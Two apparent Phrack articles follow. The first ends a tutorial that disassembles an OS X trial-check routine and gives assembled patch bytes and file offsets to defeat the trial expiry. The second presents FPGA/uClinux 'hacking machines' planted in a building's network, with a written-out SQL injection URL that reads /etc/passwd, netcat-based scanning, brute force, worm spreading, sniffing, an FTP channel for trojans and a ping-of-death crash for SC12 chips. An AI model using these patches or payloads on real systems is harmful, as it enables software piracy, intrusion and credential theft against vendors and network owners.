# Copy r27 to r3. When last sighted at 0x51000, this

# held the prefs shared object.

0x000510ec <‑[StateController validState]+284>: lwz r4,5168(r4)

# Load string "firstLaunch" to r4.

0x000510f0 <‑[StateController validState]+288>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ prefObject firstLaunch ];

# As seen at 0x51014, the value returned from here was later # stored in SC:1.

0x000510f4 <‑[StateController validState]+292>: addis r4,r31,4

# Load the message symbol table to r4.

0x000510f8 <‑[StateController validState]+296>: mr r5,r3

# Move the NSDate just returned from prefObject to

# r5 ( second argument ).

0x000510fc <‑[StateController validState]+300>: mr r3,r29

# Copy r29 to r3 ‑ r29 had the reconstituted NSDate

# 'thisLaunchDate' from 0x510dc.

0x00051100 <‑[StateController validState]+304>: lwz r4,3456(r4)

# Load "isEqualToDate:" into r4.

0x00051104 <‑[StateController validState]+308>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ thisLaunchDate isEqualToDate: firstLaunchDate ];

# That's going to be a big zero unless it's the first time

# you're running.

0x00051108 <‑[StateController validState]+312>: addic r2,r3,‑1

# r2 = r3 ‑ 1 with carry flag.

# r2 will be set to max now.

# XER = 100B.

0x0005110c <‑[StateController validState]+316>: subfe r0,r2,r3

# subfe r0, r2, r3 = !( r2 + r3 + XER[ carry bit ] )

# = !( max + 0 + 0 )

# = !( max )

# = 0

0x00051110 <‑[StateController validState]+320>: mr r3,r0

# Move r0 to r3 ‑ the function result.

0x00051114 <‑[StateController validState]+324>: lwz r0,104(r1) 0x00051118 <‑[StateController validState]+328>: addi r1,r1,96 0x0005111c <‑[StateController validState]+332>: lwzr27,‑20(r1) 0x00051120 <‑[StateController validState]+336>: mtlr r0 0x00051124 <‑[StateController validState]+340>: blr

# Various housekeeping and then return. For the most

# part, we reload those words we pushed into memory and

# the link register we stored in the opening moves.

End of assembler dump.

Ok, in summary, it seems validState does something different to what it's name might indicate ‑ it checks if it's the first time you've run the program, initializes some data structures, etc. If it returns one, a dialog box asking you to join the company email list is displayed.

So it's not what we thought, but it's not a waste of time ‑ we've uncovered two useful pieces of information ‑ the location of the date of first invocation ( StateController + 40 ) and the location of the date of current invocation ( StateController + 44 ). These should all be set correctly anytime after the first invocation of this function. These two pieces of information are key to determining whether the software has expired or not.

We have a couple of options here. Knowing the offset information of this data, we can attempt to find the code that checks to see if the trial is over, or we can attempt to intercept the initialization process and manipulate the data loading to ensure that the user is always within the trial window. As this would be perfectly sufficient, we'll try that ‑ a discussion of other avenues might make for interesting homework or a future article.

‑‑[ 4.0 ‑ Solutions and Patching

A possible method will be to overwrite the contents of StateController + 40 with StateController + 44 ( setting the date the program was first run to the current date ) and then return zero, leaving alone the code that deals with the preferences api. Due to the object oriented methodology of Cocoa development, the chances of some other function going crazy and performing a jump into the other parts of the function are slim to nil, and so we can leave it as is.

A Proposed replacement function:

Obtain a register for us to use. Load the contents of StateController +44 into it, write that register to StateController +40, release the register, zero r3, return. The write is done like this as you cannot write directly to memory from memory in PPC assembler.

+‑‑‑‑‑

| stwr31,‑20(r1)

| lwzr31,44(r3)

| stwr31,40(r3)

| lwzr31,‑20(r1)

| xorr3,r3,r3

| blr

+‑‑‑‑‑

Instead of consulting with the instruction reference to assemble it by hand, I'm going to be cheap and use GCC. Paste the code into a file as follows:

newfunc.s:

‑‑‑‑‑

.text

.globl _main

_main:

stw r31, ‑20(r1)

lwz r31, 44(r3)

stw r31, 40(r3)

lwz r31, ‑20(r1)

xor r3, r3, r3

blr

‑‑‑‑‑

Compile it as follows: `gcc newfunc.s ‑o temp`, and load it into gdb:

| (gdb) x/15i main

| 0x1dec <main>: stw r31,‑20(r1)

| 0x1df0 <main+4>: lwz r31,44(r3)

| 0x1df4 <main+8>: stw r31,40(r3)

| 0x1df8 <main+12>: lwz r31,‑20(r1)

| 0x1dfc <main+16>: xor r3,r3,r3

| 0x1e00 <main+20>: blr

| 0x1e04 <dyld_stub_exit>: mflr r0

We want to see the machine code for 24 instructions post <main>.

| (gdb) x/24xb main

| 0x1dec <main>:

|0x93 0xe1 0xff 0xec 0x83 0xe3 0x00 0x2c | 0x1df4 <main+8>:

|0x93 0xe3 0x00 0x28 0x83 0xe1 0xff 0xec | 0x1dfc <main+16>:

|0x7c 0x63 0x1a 0x78 0x4e 0x80 0x00 0x20

Now that we have our assembled bytecode, we need to paste it into our executable. GDB is ( in theory ) capable of patching the file directly, but it's a bit more complicated than it might appear ( see Appendix B for details ).

The good news is, finding the correct offset for patching the file itself is not difficult. First, note the offset of the code you wish to replace, as it appears in GDB. ( In this case, that's 0x50fd0. ) Now, do the following:

| (gdb) info sym 0x50fd0

| [StateController validState] in section LC_SEGMENT.__TEXT.__text | of <executable name>

Armed with this knowledge of what segment the code falls in ( __TEXT.__text ), we can proceed. Run "otool ‑l" on your binary, and search for something like this ( taken from a different executable, unfortunately ):

| Section

| sectname __text

| segname __TEXT

| addr 0x0000236c

| size 0x000009a8

| offset 4972

| align 2^2 (4)

| reloff 0

| nreloc 0

| flags 0x80000400

| reserved1 0

| reserved2 0

The offset to your code in the file is equal to the address of the code in memory, minus the "addr" entry, plus the "offset" entry. Keep in mind that "addr" is in hex and offset is not! Now you can just over‑write the code as appropriate in your hex editor.

Save and then try and run the program. It worked for me first time!

‑‑[ A ‑ GDB, OSX, PPC & Cocoa ‑ Some Observations.

Calling Convention:

When handling calls, registers 0, 1 and 2 store important housekeeping information. They are not to be fucked with unless you carefully restore their values post haste. Arguments to functions commence at r3, and return values are stored at r3 as well. Except for stuff like floats, which you might find coming back in f1, etc.

One of the things that makes OSX applications such a joy to crack is the heavy reliance on neatly defined object oriented interfaces, and the corresponding heavy use of messaging. Often in disassemblies you will come across branches to <dyld_stub_objc_msgSend>. This is a reformulation of the typical calling convention:

| [ anObject aMessage: anArgument andA: notherArgument ];

Into something like this:

| objc_msgSend( anObject, "aMessage:andA:", anArgument, notherArgument );

Hence, the receiving object will occupy r3, the selector will be a plain string at r4, and subsequent arguments will occupy r5 onwards. As r4 will contain a string, interrogate it with "x/s $r4", as the receiver will be an object, "po $r3", and for the types of subsequent arguments, I recommend you consult the xcode documentation where available. "po" is shorthand for invoking the description methods on the receiving object.

GDB Integration:

Due to the excellent Objective C support in GDB, not only can we breakpoint functions using their [] message nomenclature, but also perform direct invocations of methods as such: if r5 contained a pointer to an NSString object, the following is quite reasonable:

| (gdb) print ( char * ) [ $r5 cString ]

| $3 = 0x833c8 " \t\r\n"

Very useful. Don't forget that it's available if you want to test how certain functions react to certain inputs.

‑‑ [ B ‑ Why can't we just patch with GDB?

As some of you probably know, GDB can, in principle, write changes out to core and executable files. This is not really practical in the scenario we're dealing with here, and I'll explain why.

First, Mach‑O binaries have memory protection. If you're going to overwrite parts of the __TEXT.__text segment, you're going to have to reset it's permissions. Christian Klein has written a program to do this ( see <http://blogs.23.nu/c0re/stories/7873/>. ) You can

also, once the program is running and has an execution space, do things like:

| (gdb) print (int)mprotect( <address>, <length>, 0x1|0x2|0x4 )

However, even when this is done, this only lets you write to the process in memory. To actually make changes to the disk copy, you need to either invoke GDB as 'gdb ‑‑write', or execute:

| (gdb) set write on

| (gdb) exec‑file <filename>

The problem is, OSX uses demand paging for executables.

What this means is that the entire program isn't loaded into memory straight away ‑ it's lifted off disk as needed. As a result, you're not allowed to execute a file which is open for writing.

The upshot is, if you try and do it, as soon as you run the program in the debugger, it crashes out with "Text file is busy".

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking with Embedded Systems

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x11 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑[ Security Review Of Embedded Systems And Its ]‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑[ Applications To Hacking Methodology ]‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑[ Cawan: <chuiyewleong[at]hotmail.com> or <cawan[at]ieee.org> ]‑‑‑‑=|

‑‑=[ Contents

1. ‑ Introduction

2. ‑ Architectures Classification

3. ‑ Hacking with Embedded System

4. ‑ Hacking with Embedded Linux

5. ‑ "Hacking Machine" Implementation In FPGA

6. ‑ What The Advantages Of Using FPGA In Hacking ?

7. ‑ What Else Of Magic That Embedded Linux Can Do ?

8. ‑ Conclusion

‑‑[ 1. ‑ Introduction

Embedded systems have been penetrated the daily human life. In residential home, the deployment of "smart" systems have brought out the term of "smart‑home". It is dealing with the home security, electronic appliances control and monitoring, audio/video based entertainment, home networking, and etc. In building automation, embedded system provides the ability of network enabled (Lonwork, Bacnet or X10) for extra convenient control and monitoring purposes. For intra‑building communication, the physical network media including power‑line, RS485, optical fiber, RJ45, IrDA, RF, and etc. In this case, media gateway is playing the roll to provide inter‑media interfacing for the system. For personal handheld systems, mobile devices such as handphone/smartphone and PDA/XDA are going to be the necessity in human life. However, the growing of 3G is not as good as what is planning initially. The slow adoption in 3G is because it is lacking of direct compatibility to TCP/IP. As a result, 4G with Wimax technology is more likely to look forward by communication industry regarding to its wireless broadband with OFDM.

Obviously, the development trend of embedded systems application is going to be convergence ‑ by applying TCP/IP as "protocol glue" for inter‑media interfacing purpose. Since the deployment of IPv6 will cause an unreasonable overshooting cost, so the widespread of IPv6 products still needs some extra times to be negotiated.

As a result, IPv4 will continue to dominate the world of networking, especially in embedded applications. As what we know, the brand‑old IPv4 is being challenged by its native security problems in terms of confidentiality, integrity, and authentication.

Extra value added modules such as SSL and SSH would be the best solution to protect most of the attacks such as Denial of Service, hijacking, spooling, sniffing, and etc. However, the implementation of such value added module in embedded system is optional because it is lacking of available hardware resources. For example, it is not reasonable to implement SSL in SitePlayer[1] for a complicated web‑based control and monitoring system by considering the available flash and memory that can be utilized.

By the time of IPv4 is going to conquer the embedded system's world, the native characteristic of IPv4 and the reduced structure of embedded system would be problems in security consideration.

These would probably a hidden timer‑bomb that is waiting to be exploited. As an example, by simply performing port scan with pattern recognition to a range of IP address, any of the running SC12 IPC@CHIP[2] can be identified and exposed. Once the IP address of a running SC12 is confirmed, by applying a sequence of five ping packet with the length of 65500 is sufficient to crash it until reset.

‑‑[ 2. ‑ Architectures Classification

With the advent of commodity electronics in the 1980s, digital utility began to proliferate beyond the world of technology and industry. By its nature digital signal can be represented exactly and easily, which gives it much more utility. In term of digital system design, programmable logic has a primary advantage over custom gate arrays and standard cells by enabling faster time‑to‑complete and shorter design cycles. By using software, digital design can be programmed directly into programmable logic and allowing making revisions to the design relatively quickly. The two major types of programmable logic devices are Field Programmable Logic Arrays (FPGAs) and Complex Programmable Logic Devices (CPLDs). FPGAs offer the highest amount of logic density, the most features, and the highest performance. These advanced devices also offer features such as built‑in hardwired processors (such as the IBM Power PC), substantial amounts of memory, clock management systems, and support for many of the latest very fast device‑to‑device signaling technologies. FPGAs are used in a wide variety of applications ranging from data processing and storage, instrumentation, telecommunications, and digital signal processing. Instead, CPLDs offer much smaller amounts of logic (approximately 10,000 gates). But CPLDs offer very predictable timing characteristics and are therefore ideal for critical control applications. Besides, CPLDs also require extremely low amounts of power and are very inexpensive.

Well, it is the time to discuss about Hardware Description Language (HDL). HDL is a software programming language used to model the intended operation of a piece of hardware. There are two aspects to the description of hardware that an HDL facilitates: true abstract behavior modeling and hardware structure modeling. The behavior of hardware may be modeled and represented at various levels of abstraction during the design process. Higher level models describe the operation of hardware abstractly, while lower level models include more detail, such as inferred hardware structure. There are two types of HDL: VHDL and Verilog‑HDL. The history of VHDL started from 1980 when the USA Department of Defence (DoD) wanted to make circuit design self documenting, follow a common design methodology and be reusable with new technologies. It became clear there was a need for a standard programming language for describing the function and structure of digital circuits for the design of integrated circuits (ICs). The DoD funded a project under the Very High Speed Integrated Circuit (VHSIC) program to create a standard hardware description language.

The result was the creation of the VHSIC hardware description language or VHDL as it is now commonly known. The history of Verilog‑HDL started from 1981, when a CAE software company called Gateway Design Automation that was founded by Prabhu Goel. One of the Gateway's first employees was Phil Moorby, who was an original author of GenRad's Hardware Description Language (GHDL) and HILO simulator. On 1983, Gateway released the Verilog Hardware Description Language known as Verilog‑HDL or simply Verilog together with a Verilog simulator. Both VHDL and Verilog‑HDL are reviewed and adopted by IEEE as IEEE standard 1076 and 1364, respectively.

Modern hardware implementation of embedded systems can be classified into two categories: hardcore processing and softcore processing. Hardcore processing is a method of applying hard processor(s) such as ARM, MIPS, x86, and etc as processing unit with integrated protocol stack. For example, SC12 with x86, IP2022 with Scenix RISC, eZ80, SitePlayer and Rabbit are dropped in the category of hardcore processing.Instead, softcore processing is applying a synthesizable core that can be targeted into different semiconductor fabrics. The semiconductor fabrics should be programmable as what FPGA and CPLD do. Altera[3] and Xilinx[4] are the only FPGA/CPLD manufacturers in the market that supporting softcore processor. Altera provides NIOS processor that can be implemented in SOPC Builder that is targeted to its Cyclone and Stratix FPGAs. Xilinx provides two types of softcore: Picoblaze, that is targeted to its CoolRunner‑2 CPLD; and Microblaze, that is targeted to its Spartan and Virtex FPGAs. For the case of FPGAs with embedded hardcore, for example ARM‑core in Stratix, and MIPS‑core in Virtex are classified as embedded hardcore processing. On the other hand, FPGAs with embedded softcore such as NIOS‑core in Cyclone or Stratix, and Microblaze‑core in Spartan or Virtex are classified as softcore processing. Besides, the embedded softcore can be associated with others synthesizable peripherals such as DMA controller for advanced processing purpose.

In general, the classical point of view regarding to the hardcore processing might assuming it is always running faster than softcore processing. However, it is not the fact. Processor performance is often limited by how fast the instruction and data can be pipelined from external memory into execution unit. As a result, hardcore processing is more suitable for general application purpose but softcore processing is more liable to be used in customized application purpose with parallel processing and DSP. It is targeted to flexible implementation in adaptive platform.

‑‑[ 3. ‑ Hacking with Embedded System

When the advantages of softcore processing are applied in hacking, it brings out more creative methods of attack, the only limitation is the imagination. Richard Clayton had shown the method of extracting a 3DES key from an IBM 4758 that is running Common Cryptographic Architecture (CCA)[5]. The IBM 4758 with its CCA software is widely used in the banking industry to hold encryption keys securely. The device is extremely tamper‑resistant and no physical attack is known that will allow keys to be accessed. According to Richard, about 20 minutes of uninterrupted access to the IBM 4758 with Combine_Key_Parts permission is sufficient to export the DES and 3DES keys. For convenience purpose, it is more likely to implement an embedded system with customized application to get the keys within the 20 minutes of accessing to the device. An evaluation board from Altera was selected by Richard Clayton for the purpose of keys exporting and additional two days of offline key cracking.

In practice, by using multiple NIOS‑core with customized peripherals would provide better performance in offline key cracking. In fact, customized parallel processing is very suitable to exploit both symmetrical and asymmetrical encrypted keys.

‑‑[ 4. ‑ Hacking with Embedded Linux

For application based hacking, such as buffer overflow and SQL injection, it is more preferred to have RTOS installed in the embedded system. For code reusability purpose, embedded linux would be the best choice of embedded hacking platform. The following examples have clearly shown the possible attacks under an embedded platform. The condition of the embedded platform is come with a Nios‑core in Stratix and uClinux being installed. By recompiling the source code of netcat and make it run in uClinux, a swiss army knife is created and ready to perform penetration as listed below: ‑

a) Port Scan With Pattern Recognition

A list of subnet can be defined initially in the embedded system and bring it into a commercial building. Plug the embedded system into any RJ45 socket in the building, press a button to perform port scan with pattern recognition and identify any vulnerable network embedded system in the building. Press another button to launch attack (Denial of Service) to the target network embedded system(s). This is a serious problem when the target network embedded system(s) is/are related to the building evacuation system, surveillance system or security system.

b) Automatic Brute‑Force Attack

Defines server(s) address, dictionary, and brute‑force pattern in the embedded system. Again, plug the embedded system into any RJ45 socket in the building, press a button to start the password guessing process. While this small box of embedded system is located in a hidden corner of any RJ45 socket, it can perform the task of cracking over days, powered by battery.

c) LAN Hacking

By pre‑identify the server(s) address, version of patch, type of service(s), a structured attack can be launched within the area of the building. For example, by defining:

http://192.168.1.1/show.php?id=1%20and%201=2%20union%20select%20

8,7,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),5,4, 3,2,1

**char(47,101,116,99,47,112,97,115,115,119,100) = /etc/passwd

in the embedded system initially. Again, plug the embedded system into any RJ45 socket in the building (within the LAN), press a button to start SQL injection attack to grab the password file of the Unix machine (in the LAN). The password file is then store in the flash memory and ready to be loaded out for offline cracking. Instead of performing SQL injection, exploits can be used for the same purpose.

d) Virus/Worm Spreading

The virus/worm can be pre‑loaded in the embedded system. Again, plug the embedded system into any RJ45 socket in the building, press a button to run an exploit to any vulnerable target machine, and load the virus/worm into the LAN.

e) Embedded Sniffer

Switch the network interface from normal mode into promiscuous mode and define the sniffing conditions. Again, plug the embedded system into any RJ45 socket in the building, press a button to start the sniffer. To make sure the sniffing process can be proceed in switch LAN, ARP sniffer is recommended for this purpose.

‑‑[ 5. ‑ "Hacking Machine" Implementation In FPGA

The implementation of embedded "hacking machine" will be demonstrated in Altera's NIOS development board with Stratix EP1S10 FPGA. The board provides a 10/100‑base‑T ethernet and a compact‑flash connector. Two RS‑232 ports are also provided for serial interfacing and system configuration purposes, respectively. Besides, the onboard 1MB of SRAM, 16MB of SDRAM, and 8MB of flash memory are ready for embedded linux installation[6]. The version of embedded linux that is going to be applied is uClinux from microtronix[7].

Ok, that is the specification of the board. Now, we start our journey of "hacking machine" design. We use three tools provided by Altera to implement our "hardware" design. In this case, the term of "hardware" means it is synthesizable and to be designed in Verilog‑HDL. The three tools being used are: QuartusII ( as synthesis tool), SOPC Builder (as Nios‑core design tool), and C compiler. Others synthesis tools such as leonardo‑spectrum from mentor graphic, and synplify from synplicity are optional to be used for special purpose. In this case, the synthesized design in edif format is defined as external module. It is needed to import the module from QuartusII to perform place‑and‑route (PAR). The outcome of PAR is defined as hardware‑core. For advanced user, Modelsim from mentor graphic is highly recommended to perform behavioral simulation and Post‑PAR simulation. Behavioral simulation is a type of functional verification to the digital hardware design. Timing issues are not put into the consideration in this state. Instead, Post‑PAR simulation is a type of real‑case verification. In this state, all the real‑case factors such as power‑consumption and timing conditions (in sdf format) are put into the consideration. [8,9,10,11,12]

A reference design is provided by microtronix and it is highly recommended to be the design framework for any others custom design with appropriate modifications [13]. Well, for our "hacking machine" design purpose, the only modification that we need to do is to assign the interrupts of four onboard push‑buttons [14]. So, once the design framework is loaded into QuartusII, SOPC Builder is ready to start the design of Nios‑core, Boot‑ROM, SRAM and SDRAM inteface, Ethernet interface, compact‑flash interface and so on. Before starting to generate synthesizable codes from the design, it is crucial to ensure the check‑box of "Microtronix uClinux" under Software Components is selected (it is in the "More CPU Settings" tab of the main configuration windows in SOPC Builder). By selecting this option, it is enabling to build a uClinux kernel, uClibc library, and some uClinux's general purpose applications by the time of generating synthesizable codes. Once ready, generate the design as synthesizable codes in SOPC Builder following by performing PAR in QuartusII to get a hardware core. In general, there are two formats of hardware core:‑

a) .sof core: To be downloaded into the EP1S10 directly by JTAG and will require a re‑load if the board is power cycled **(Think as volatile)

b) .pof core: To be downloaded into EPC16 (enhanced configuration device) and will automatically be loaded into the FPGA every time the board is power cycled **(Think as non‑volatile)

The raw format of .sof and .pof hardware core is .hexout. As hacker, we would prefer to work in command line, so we use the hexout2flash tool to convert the hardware core from .hexout into .flash and relocate the base address of the core to 0x600000 in flash. The 0x600000 is the startup core loading address of EP1S10. So, once the .flash file is created, we use nios‑run or nr command to download the hardware core into flash memory as following:

[Linux Developer] ...uClinux/: nios‑run hackcore.hexout.flash

After nios‑run indicates that the download has completed successfully, restart the board. The downloaded core will now start as the default core whenever the board is restarted.

Fine, the "hardware" part is completed. Now, we look into the "software" implementation. We start from uClinux. As what is stated, the SOPC Builder had generated a framework of uClinux kernel, uClibc library, and some uClinux general purpose applications such as cat, mv, rm, and etc.

We start to reconfigure the kernel by using "make xconfig".

[Linux Developer] ...uClinux/: cd linux

[Linux Developer] ...uClinux/: make xconfig

In xconfig, perform appropriate tuning to the kernel, then use "make clean" to clean the source tree of any object files.

[Linux Developer] ...linux/: make clean

To start building a new kernel use "make dep" following by "make".

[Linux Developer] ...linux/: make dep

[Linux Developer] ...linux/: make

To build the linux.flash file for uploading, use "make linux.flash".

[Linux Developer] ...uClinux/: make linux.flash

The linux.flash file is defined as the operating system image. As what we know, an operating system must run with a file system. So, we need to create a file system image too. First, edit the config file in userland/.config to select which application packages get built. For example:

#TITLE agetty

CONFIG_AGETTY=y

If an application package's corresponding variable is set to 'n' (for example, CONFIG_AGETTY=n), then it will not be built and copied over to the target/ directory. Then, build all application packages specified in the userland/.config as following:

[Linux Developer] ...userland/: make

Now, we copy the pre‑compiled netcat into target/ directory. After that, use "make romfs" to start generating the file system or romdisk image.

[Linux Developer] ...uClinux/: make romfs

Once completed, the resulting romdisk.flash file is ready to be downloaded

to the target board. First, download the file system image following by the operating system image into the flash memory.

[Linux Developer] ...uClinux/: nios‑run ‑x romdisk.flash [Linux Developer] ...uClinux/: nios‑run linux.flash

Well, our FPGA‑based "hacking machine" is ready now.

Lets try to make use of it to a linux machine with /etc/passwd enabled. We assume the ip of the target linux machine is 192.168.1.1 as web server in the LAN that utilize MySQL database. Besides, we know that its show.php is vulnerable to be SQL injected. We also assume it has some security protections to filter out some dangerous symbols, so we decided to use char() method of injection. We assume the total columns in the table that access by show.php is 8.

Now, we define:

char getpass[]="http://192.168.1.1/show.php?id=1%20and%201=2%20union

%20select%208,7,load_file(char(47,101,116,99,47,112,97,115,115,119, 100)),5,4,3,2,1";

as attacking string, and we store the respond data (content of /etc/passwd) in a file name of password.dat. By creating a pipe to the netcat, and at the same time to make sure the attacking string is always triggered by the push‑button, well, our "hacking machine" is ready.

Plug the "hacking machine" into any of the RJ45 socket in the LAN, following by pressing a button to trigger the attacking string against 192.168.1.1. After that, unplug the "hacking machine" and connect to a pc, download the password.dat from the "hacking machine", and start the cracking process. By utilizing the advantages of FPGA architecture, a hardware cracker can be appended for embedded based cracking process. Any optional module can be designed in Verilog‑HDL and attach to the FPGA for all‑in‑one hacking purpose. The advantages of FPGA implementation over the conventional hardcore processors will be deepened in the following section, with a lot of case‑studies, comparisons and wonderful examples.

Tips:

**FTP server is recommended to be installed in "hacking machine" because of two reasons:

1) Any new or value‑added updates (trojans, exploits, worms,...) to the "hacking machine" can be done through FTP (online update).

2) The grabbed information (password files, configuration files,...) can be retrieved easily.

Notes:

**Installation of FTP server in uClinux is done by editing userland/.config file to enable the ftpd service.

**This is just a demostration, it is nearly impossible to get a unix/linux machine that do not utilize file‑permission and shadow to protect the password file. This article is purposely to show the migration of hacking methodology from PC‑based into embedded system based.

‑‑[ 6. ‑ What The Advantages Of Using FPGA In Hacking ?

Well, this is a good question while someone will ask by using a $50 Rabbit module, a 9V battery and 20 lines of Dynamic C, a simple "hacking machine" can be implemented, instead of using a $300 FPGA development board and a proprietary embedded processor with another $495. The answer is, FPGA provides a very unique feature based on its architecture that is able to be hardware re‑programmable.

As what we know, FPGA is a well known platform for algorithm verification in hardware implementation, especially in DSP applications. The demand for higher bit rates by the wired and wireless communications industry has led to the development of higher bit rate and low cost serial link interface chips. Based on such considerations, some demands of programmable channel and band scanning are needed to be digitized and re‑programmable. A new term has been created for this type of framework as "software defined radio" or SDR. However, the slow adoption of SDR is due to the limitation in Analog‑to‑Digital Converter(ADC) to digitize the analog demodulation unit in transceiver module.

Although the sampling rate of the most advanced ADC is not yet to meet the specification of SDR, but it will come true soon. In this case, the application of conventional DSP chips such as TMS320C6200 (for fixed‑point processing) and TMS320C6700 (for floating‑point processing) are a little bit harder to handle such extremely high bit rates. Of course, someone may claim its parallel processing technique could solve the problem by using the following symbols in linear assembly language[15].

Inst1

||Inst2

||Inst3

||Inst4

||Inst5

||Inst6

Inst7

The double‑pipe symbols (||) indicate instructions that are in parallel with a previous instruction. Inst2 to Inst6, these five instructions run in parallel with the first instruction, Inst1. In TMS320, up to eight instructions can be running in parallel. However, this is not a true parallel method, but perform pipelining in different time‑slot within a single clock cycle.

Instead, the true parallel processing can only be implemented with different sets of hardware module. So, FPGA should be the only solution to implement a true parallel processing architecture. For the case of SDR that is mentioned, it is just a an example to show the limitation of data processing in the structure of resource sharing. Meanwhile, when we consider to implement an encryption module, it is the same case as what data processing do. The method of parallel processing is extremely worth to enhance the time of key cracking process. Besides, it is significant to know that the implementation of encryption module in FPGA is hardware‑driven. It is totally free from the limitation of any hardcore processor structure that is using a single instruction pointer (or program counter) to performing push and pop operations interactively over the stack memory. So, both of the mentioned advantages: true‑parallel processing, and hardware‑driven, are nicely clarified the uniqueness of FPGA's architecture for advanced applications.

While we go further with the uniqueness of FPGA's architecture, more and more interesting issues can come into the discussion. For hacking purpose, we focus and stick to the discussion of utilizing the ability of hardware re‑programmable in a FPGA‑based "hacking machine". We ignore the ability of "software re‑programmable" here because it can be done by any of the hardcore processor in the lowest cost. By applying the characterictic of hardware re‑programmable, a segment of space in flash memory is reserved for hardware image. In Nios, it is started from 0x600000. This segment is available to be updated from remote through the network interface. In advanced mobile communication, this type of feature is started to be used for hardware bug‑fix as well as module update [16] purpose. It is usually known as Over‑The‑Air (OTA) technology. For hacking purpose, the characteristic of hardware re‑programmable had made our "hacking machine" to be general purpose. It can come with a hardware‑driven DES cracker, and easily be changed to MD5 cracker or any other types of hardware‑driven module. Besides, it can also be changed from an online cracker to be a proxy, in a second of time.

In this state, the uniqueness of FPGA's architecture is clear now. So, it is the time to start the discussion of black magic with the characteristic of hardware re‑programmable in further detail. By using Nios‑core, we explore from two points: custom instruction and user peripheral. A custom instruction is hardware‑driven and implemented by custom logic as shown below:

|‑‑‑‑>|‑‑‑‑‑‑‑‑‑‑‑‑|

| |Custom Logic|‑|

| |‑‑>|‑‑‑‑‑‑‑‑‑‑‑‑| |

| | |

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑||

A ‑‑‑‑>| |‑|

| | Nios‑ALU | |‑‑‑‑> OUT

B ‑‑‑‑>| |‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

By defining a custom logic that is parallel connected with Nios‑ALU inputs, a new custom instruction is successfully created. With SOPC Builder, custom logic can be easily add‑on and take‑out from Nios‑ALU, and so is the case of custom instruction. Now, we create a new custom instruction, let say nm_fpmult(). We apply the following codes:

float a, b, result_slow, result_fast;

result_slow = a * b; //Takes 2874 clock cycles

result_fast = nm_fpmult(a, b); //Takes 19 clock cycles

From the running result, the operation of hardware‑based multiplication as custom instruction is so fast that is even faster than a DSP chip. For cracking purpose, custom instructions set can be build up in respective to the frequency of operations being used. The instructions set is easily to be plugged and unplugged for different types of encryption being adopted.

The user peripheral is the second black magic of hardware re‑programmable. As we know Nios‑core is a soft processor, so a bus specification is needed for the communication of soft processor with other peripherals, such as RAM, ROM, UART, and timer. Nios‑core is using a proprietary bus specification, known as Avalon‑bus for peripheral‑to‑peripheral and Nios‑core‑to‑peripheral communication purpose. So, user peripherals such as IDE and USB modules are usually be designed to expand the usability of embedded system. For hacking purpose, we ignore the IDE and USB peripherals because we are more interested to design user peripheral for custom communication channel synchronization. When we consider to hack a customize system such as building automation, public addressing, evacuation, security, and so on, the main obstacle is its proprietary communication protocol [17, 18, 19, 20, 21, 22].

In such case, a typical network interface is almost impossible to synchronize into the communication channel of a customize system. For example, a system that is running at 50Mbps, neither a 10Based‑T nor 100Based‑T network interface card can communicate with any module within the system. However, by knowing the technical specification of such system, a custom communication peripheral can be created in FPGA. So, it is able to synchronize our "hacking machine" into the communication channel of the customize system. By going through the Avalon‑bus, Nios‑core is available to manipulate the data‑flow of the customize system. So, the custom communication peripheral is going to be the customize media gateway of our "hacking machine". The theoretical basis of custom communication peripheral is come from the mechanism of clock data recovery (CDR). CDR is a method to ensure the data regeneration is done with a decision circuit that samples the data signal at the optimal instant indicated by a clock. The clock must be synchronized as exactly the same frequency as the data rate, and be aligned in phase with respect to the data. The production of such a clock at the receiver is the goal of CDR. In general, the task of CDR is divided into two: frequency acquisition and timing alignment. Frequency acquisition is the process that locks the receiver clock frequency to the transmitted data frequency. Timing alignment is the phase alignment of the clock so the decision circuit samples the data at the optimal instant. Sometime, it is also named as bit synchronization or phase locking. Most timing alignment circuits can perform a limited degree of frequency acquisition, but additional acquisition aids may be needed. Data oversampling method is being used to create the CDR for our "hacking machine". By using the method of data oversampling, frequency acquisition is no longer be put into the design consideration. By ensuring the sampling frequency is always N times over than data rate, the CDR is able to work as normal. To synchronize multiple of customize systems, a frequency synthesis unit such as PLL is recommended to be used to make sure the sampling frequency is always N times over than data rate. A framework of CDR based‑on the data oversampling method with N=4 is shown as following in Verilog‑HDL.

**The sampling frequency is 48MHz (mclk), which is 4 times of data rate (12MHz).

//define input and output

input data_in;

input mclk;

input rst;

output data_buf;

//asynchronous edge detector

wire reset = (rst & ~(data_in ^ capture_buf));

//data oversampling module

reg capture_buf;

always @ (posedge mclk or negedge rst)

if (rst == 0)

capture_buf <= 0;

else

capture_buf <= data_in;

//edge detection module

reg [1:0] mclk_divd;

always @ (posedge mclk or negedge reset or posedge reset) if (reset == 0)

mclk_divd <= 2'b00;

else

mclk_divd <= mclk_divd + 1;

//capture at data eye and put into a 16‑bit buffer

reg [15:0] data_buf;

always @ (posedge mclk_divd[1] or negedge rst)

if (rst == 0)

data_buf <= 0;

else

data_buf <= {data_buf[14:0],capture_buf};

